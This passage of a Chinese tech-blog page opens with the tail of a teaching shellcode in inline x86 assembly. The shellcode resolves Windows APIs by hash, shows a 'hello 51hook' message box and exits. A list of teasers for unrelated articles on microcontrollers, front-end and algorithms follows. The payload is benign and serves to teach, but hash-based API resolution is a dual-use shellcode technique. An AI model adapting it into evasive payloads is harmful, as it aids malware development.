ecx, [ecx + 0xB]//字符串hello 51hook偏移push ecxpush 0call[ebp - 0x14]//MessageBoxA//通过loadLibraryA 获取kernel32.dll的基址 确保万无一失mov ecx, [ebp + 0x8]lea ecx, [ecx + 0x18]push ecxcall[ebp - 0x8]//调用loadlibraya获取 user32.dllmov[ebp - 0x18], eax//kener32.dllbase//退出程序0x4FD18963push 0x4FD18963//ExitProcess 哈希值push[ebp - 0x18]call fun_GetProcAddr//获取ExitProcess的函数地址mov[ebp - 0x2c], eaxpush 0call[ebp - 0x2c]//调用 ExitProcesspop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x4}
}
int main()
{printf("hello 51hook");shellCode();return 0;
}
相关文章:
软件安全(二)优化shellcode
我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。 所谓的shellcode不过是在目标程序中加一个区段使得程序可…...
前端使用腾讯地图api实现定位功能
1.配置key 申请地址: https://lbs.qq.com/dev/console/key/manage 2.在项目中引入jssdk <script type"text/javascript" src"https://apis.map.qq.com/tools/geolocation/min?keykey&referermyapp"></script>使用 const g…...
单片机-STM32部分:10、串口UART
飞书文档https://x509p6c8to.feishu.cn/wiki/W7ZGwKJCeiGjqmkvTpJcjT2HnNf 串口说明 电平标准是数据1和数据0的表达方式,是传输线缆中人为规定的电压与数据的对应关系,串口常用的电平标准有如下三种: TTL电平:3.3V或5V表示1&am…...
STM32外设-串口UART
STM32外设-串口UART 一,串口简介二,串口基础概念1,什么是同步和异步/UART与USART对比2,串行与并行3,波特率 (Baud Rate)4,数据帧 (Data Frame)5,TX 和 RX 三,硬件连接1,u…...
《工业计算机硬件技术支持手册》适用于哪些人群?
《工业计算机硬件技术支持手册》于2024年出版,主要讲当前正在应用的最新计算硬件技术。包括计算机各种功能接口、扩展总线、各种国际通行的板型规格等等。书中引用的数据,全部来自国际行业技术规范,书中还融入了作者几十年的工作经验和操作技…...
element-ui时间线样式修改
element-ui时间线样式修改 前两天公司给了一个需求 要求如下图所示 需求是时间在步骤条左边,看了element-ui的文档 发现并没有参数可以设置时间在步骤条的左边 那没办法 只能自己想一想办法了 首先想到的是用样式直接改变 活不多说 直接搞 第一步 选中时间这个元素 发现了这个类…...
动态规划之背包问题:组合优化中的经典NP挑战
背包问题概念: 背包问题是一种经典的组合优化的NP问题,在计算机科学、运筹学等领域有着广泛的应用。 问题可以简单的描述为: 假设有一个容量为C的背包和n个物品,每个物品i都有重量w[i]和价值v[i]。目标是选择一些物品放入背包&…...
JavaScript 基础
JS概念 JS基础概念 JS是一种运行在客户端(浏览器)的编程语言, 实现人机交换结果 作用: 网页特效表单验证数据交互服务端编程(node.js) JS的组成 ECMAScript—javaScript语言基础Web APIs—(DOM: 页面文档对象模型)(BOM: 浏览器对象模型) JS书写 位置 内部: 写到< /body…...
Vibe Coding: 优点与缺点
如果你最近在开发圈子里,你很可能听说过这个新趋势"vibe coding"(氛围编程)。 我只能说我对此感受复杂。以下是原因。 优势 在构建新项目时,靠着氛围编程达到成功感觉很自由!但对于遗留代码来说情况就不同了,尽管也不是不可能。 实时反馈和快速迭代 Cursor(…...
小动物听力评价系统基本原理简析
小动物听力评价系统是用于评估小动物听力功能的专业设备,以下从系统组成、工作原理、评价方法等方面为你介绍: 一 系统组成 声音刺激模块:能产生不同频率、强度和类型的声音信号,如纯音、啭音、短声等,以刺激小动物的听…...
spark缓存-persist
存储级别指定 persist:可以通过传入 StorageLevel 参数来指定不同的持久化级别。常见的持久化级别有: MEMORY_ONLY:将 RDD 以 Java 对象的形式存储在 JVM 的内存中。若内存不足,部分分区将不会被缓存,需要时会重新计算…...
树初步 #1(插排串联 - 辽宁省2024CCPC)
树初步 数的基础内容可以看看树基础 - OI Wiki里面的讲解,对一些操作的基础概念介绍的很清楚; 下面直接来看例题: 插排串联 - 辽宁省CCPC 题目大意 给定一个n1个节点的有根数; 根节点(0号)是插座&…...
CDGP重点知识梳理(82个)
目 录 考点分布 考试要求 第一章 数据管理-5%...
shell脚本基础详细学习(更新中)
shell简单介绍 Shell不仅仅是充当用户与UNIX或者localhost交互的角色,还可以作为一种程序设计 语言来使用。通过Shell编程,可以实现许多非常实用的功能,提高系统管理的自动化水平。 如果有一系列经常需要使用的命令,把它存储在一…...
记录一下学习kafka的使用以及思路
下面这是kafka的依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-stream-kafka</artifactId></dependency> 我在学习的时候直接导入是没有导入成功的,我猜测大概的原因是我本…...
AT9880B北斗单模卫星定位SOC芯片
AT9880B是一款高性能北斗单模卫星导航接收机SOC单芯片,芯片集成射频前端和数字基带、北斗多频卫星信号处理引擎、电源管理功能。芯片支持接收中国北斗二号和北斗三号,支持接收B1I、B1C、B2I、B3I、B2a和 B2b等频点信号。 主要特性: 支持北斗…...
李沐《动手学深度学习》 | 多层感知机
文章目录 感知机模型《深度学习入门》的解释训练感知机损失函数的选择感知机的收敛定理:什么时候能够停下来,是不是真的可以停下来感知机的不足 多层感知模型案例引入隐藏层从线性到非线性单隐藏层-单分类案例多隐藏层 激活函数softmax函数溢出的问题 多…...
vue数据可视化开发常用库
一、常用数据可视化库 1. ECharts 特点:功能强大,支持多种图表类型,社区活跃。适用场景:复杂图表、大数据量、3D 可视化。安装:npm install echarts示例:<template><div ref"chart" c…...
CAN转ModbusTCP网关:破解电池生产线设备协议壁垒,实现全链路智能互联
在电池生产的现代工艺中,自动化和信息化水平的提高是提升产能、保障品质与安全的关键。CAN 协议作为一种广泛应用于汽车、工业控制等领域的串行通信协议,它以其高可靠性和强实时性而受到企业的青睐。而在众多工业通讯协议中,ModbusTCP作为一种…...
更新 / 安装 Nvidia Driver 驱动 - Ubuntu - 2
如果按更新 / 安装 Nvidia Driver 驱动 - Ubuntu-CSDN博客中的步骤操作后问题依旧,则查看过程中的提示信息。 如果发现有“Use sudo apt autoremove to remove them.”,则执行: #sudo apt autoremove #nvidia-smi...
技术分享 | 如何在2k0300(LoongArch架构)处理器上跑通qt开发流程
近期迅为售后团队反馈,许多用户咨询:2K0300处理器采用了LA264处理器核,若要在该处理器上运行Qt程序,由于架构发生了变化,其使用方法是否仍与ARM平台保持一致? 单纯回答‘一致’或‘不一致’缺乏说服力&…...
ubuntu 24.04 error: cannot uninstall blinker 1.7.0, record file not found. hint
最近在打python3.12的镜像,安装browser-gym的核心库,编译一个使用browswer agents的环境,然后出现了下面的问题: error: cannot uninstall blinker 1.7.0, record file not found. hint: the package was installed by debian.系…...
学习记录:DAY28
DispatcherController 功能完善与接口文档编写 前言 没什么动力说废话了。 今天来完善 DispatcherController 的功能,然后写写接口文档。 日程 早上:本来只有早八,但是早上摸鱼了,罪过罪过。下午:把 DispatcherContro…...
C# 的异步任务中, 如何暂停, 继续,停止任务
namespace taskTest {using System;using System.Threading;using System.Threading.Tasks;public class MyService{private Task? workTask;private readonly SemaphoreSlim semaphore new SemaphoreSlim(0, 1); // 初始为 0,Start() 启动时手动放行private read…...
html object标签介绍(用于嵌入外部资源通用标签)(已不推荐使用deprecated,建议使用img、video、audio标签)
文章目录 HTML <object> 标签详解基本语法与核心属性关键属性解析1. **data**2. **type**3. **width & height**4. **name** 嵌入不同类型的资源1. **嵌入图像**2. **嵌入音频**3. **嵌入视频**4. **嵌入 PDF** 参数传递与回退内容**参数(<param>&a…...
专题练习1
优化: 找101-200的质数: 开发验证码: 解密数字 抽奖 优化 彩票...
Uniapp编写微信小程序,使用canvas进行绘图
一、canvas文档: https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API/Tutorial 二、数据绘制(单位是像素): 1、绘制文本: 文字的长度超过设置的最大宽度,文字会缩在一起 ① 填充文本…...
Java高频基础面试题
Java高频基础面试题 Java基础 Java的特点是什么? 面向对象平台无关性(“一次编写,到处运行”)支持多线程自动内存管理(垃圾回收)安全性丰富的类库 JDK、JRE和JVM的区别 JDK (Java Development Kit): Java…...
U9C-SQL-采购订单视图
U9C-SQL-采购订单视图 SELECTpo.ID,CONVERT ( VARCHAR ( 10 ), po.CreatedOn, 23 ) AS 签订日期,org.Name AS 甲方,po.DocNo AS 单号,item.Code AS 料号,item.Name AS 品名,item.SPECS AS 规格,item.DescFlexField_PrivateDescSeg1 AS 图号,item.DescFlexField_PrivateDescSeg2…...
HTML字符串转换为React元素实现
HTML字符串安全转换为React元素的实现 一、背景介绍 介绍HTML字符串在Web开发中的常见场景。说明React中直接使用HTML字符串的局限性。提出将HTML字符串转换为React元素的需求。 二、首先必备的两个npm库:html-react-parser和dompurify 导入: pnpm i…...
全局异常未能正确捕获到对应的异常
自定义Validation验证器遇到的问题 抛出的异常没有能被指定的TaskValidException.class方法拦截到。故写这个原因 全局异常拦截只能拦截相同的异常。只能通过解析转入自定义的异常。自定义的异常继承的异常要是一家子的。如TaskValidException和ValidationException。这样就能在…...
LeetCode 解题思路 47(最长回文子串、最长公共子序列)
解题思路: dp 数组的含义: dp[i][j] 是否为回文子串。递推公式: dp[i][j] s.charAt(i) s.charAt(j) && dp[i 1][j - 1]。dp 数组初始化: 单字符 dp[i][i] true,双字符 dp[i][i 1] s.charAt(i) s.charA…...
P11369 [Ynoi2024] 弥留之国的爱丽丝(操作分块,DAG可达性trick)
真的神仙题。感觉学到了很多。 题意: 给你一张 n n n 个结点 m m m 条边的有向图,点编号为 1 , 2 , … , n 1,2,\dots,n 1,2,…,n。每条边的颜色为黑色或白色。一开始所有 m m m 条边都是黑色的。 你需要进行 q q q 次操作,有两种操作…...
NAT穿越
概述 IPSec协商是通过IKE完成--->ISAKMP协议完成--->由UDP封装,源目端口均为500。 NAT--->NAPT,同时转换IP和端口信息。 对端设备会查验收到的数据报文中的源IP和源端口,其中源IP可以设定为NAT转换后的IP,但是源端口无法…...
不黑文化艺术学社首席艺术家孙溟㠭浅析“雪渔派”
孙溟㠭浅析“雪渔派” 何震 字主臣 ,长卿,号雪渔,安徽婺源(今江西)人,是明代著名的篆刻家和书法家,与文彭独树一帜,实现书法与刀法的统一。 云中白鹤 笑谭间气吐霓虹 边款 其篆刻吸…...
【Linux操作系统】第一弹——Linux基础篇
文章目录 💡 一. Linux的基本常识🪔 1.1 linux网络连接三种方式🪔1.2 虚拟机的克隆🪔1.3 虚拟机的快照🪔1.4 虚拟机的迁移和删除🪔1.5 vmtools工具 💡二. Linux的目录结构🪔2.1 Linu…...
“ES7+ React/Redux/React-Native snippets“常用快捷前缀
请注意,这是一个常用的列表,不是扩展提供的所有前缀。最完整和最新的列表请参考扩展的官方文档或在 VS Code 中查看扩展的详情页面。 React (通常用于 .js, .jsx, .ts, .tsx): rfce: React Functional Component with Export Defaultrafce: React Arro…...
selenium替代----playwright
安装 好处特点:这个东西不像selenium需要固定版本的驱动 pip config set global.index-url https://mirrors.aliyun.com/pypi/simplepip install --upgrade pippip install playwright playwright installplaywright install ffmpeg (处理音视频的)验证&#x…...
2025年社交APP安全防御指南:抵御DDoS与CC攻击的实战策略
2025年,社交APP的用户规模与业务复杂度持续增长,但随之而来的DDoS与CC攻击也愈发隐蔽和智能化。攻击者通过AI伪造用户行为、劫持物联网设备,甚至利用区块链漏洞发起混合攻击,对平台稳定性与用户数据安全构成严峻挑战。本文将结合最…...
PHP会话技术
第十六章-PHP会话技术 PHP会话技术是构建动态、个性化Web应用的核心机制之一,它通过跟踪用户在网站上的连续操作状态,实现了网页间的数据持久化交互。无论是电商平台的购物车信息保存、社交媒体的用户登录状态维持,还是表单数据的跨页面传递…...
QT聊天项目DAY10
1.封装redis操作类 头文件 #ifndef REDISMANAGE_H #define REDISMANAGE_H#include "Singletion.h" #include "GlobalHead.h"class RedisManage : public Singletion<RedisManage> {friend class Singletion<RedisManage>; public:~RedisMana…...
5.0.5 变换(旋转、缩放、扭曲)
WPF变换可以产生特殊效果,如平移、旋转、扭曲。 变换类 描述TranslateTransform沿着X轴和Y轴平移ScaleTransform 沿着定义的中心点缩放RotateTransform沿着定义的中心点旋转SkewTransform 扭曲元素MatrixTransfrom提供3x3矩阵,用于定义一个自定义变换 1…...
matlab转python
1 matlab2python开源程序 https://blog.csdn.net/qq_43426078/article/details/123384265 2 网址 转换网址:https://app.codeconvert.ai/code-converter?inputLangMatlab&outputLangPython 文件比较网址:https://www.diffchecker.com/text-comp…...
什么是直播美颜SDK?跨平台安卓、iOS美颜SDK开发实战详解
时下,尤其在社交、娱乐、电商等应用场景中,一个流畅且效果自然的美颜功能往往能直接影响用户的留存率和平台的营收。要实现这些效果,美颜SDK是核心工具。那么,什么是直播美颜SDK?它的功能有哪些?如何进行跨…...
大尺寸PCB如何重塑通信与新能源产业格局
在5G通信基站与新能源电站的机房内,一块块面积超过600mm600mm的PCB板正悄然推动着技术革命。作为电子设备的核心载体,大尺寸PCB凭借其高密度集成与复杂工艺,成为通信、能源等领域的“隐形功臣”。以猎板PCB为代表的厂商,凭借宽幅曝…...
JavaSE核心知识点02面向对象编程02-04(包和导入)
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 JavaSE核心知识点02面向对象编程02-04&#…...
【漫话机器学习系列】249.Word2Vec自然语言训练模型
【自然语言处理】用 Word2Vec 将词语映射到向量空间详解 一、背景介绍 在自然语言处理(NLP)领域,我们常常需要将文本信息转化为机器能够理解和处理的形式。传统的方法,如 one-hot编码,虽然简单,但存在严重…...
CSS transition过渡属性
transition 是 CSS 中用于创建平滑动画效果的属性,它允许元素在两个状态之间平滑过渡,而不是立即改变。通过定义过渡的属性、持续时间和速度曲线,你可以实现丰富的交互体验,如悬停效果、状态切换动画等。 核心作用 平滑过渡&…...
U9C对接飞书审批流完整过程
U9C虽然很强大,但是移动办公和审批流功能并不好用,为了弥补U9C这种不足,很多的企业在使用U9C的同时再开通钉钉、飞书、企业微信这种OA管理系统,两套系统并行使用,就需要考虑U9C和OA系统数据同步的问题,最简…...
阿里云 SLS 多云日志接入最佳实践:链路、成本与高可用性优化
作者:裘文成(翊韬) 摘要 随着企业全球化业务的扩展,如何高效、经济且可靠地将分布在海外各地的应用与基础设施日志统一采集至阿里云日志服务 (SLS) 进行分析与监控,已成为关键挑战。 本文聚焦于阿里云高性能日志采集…...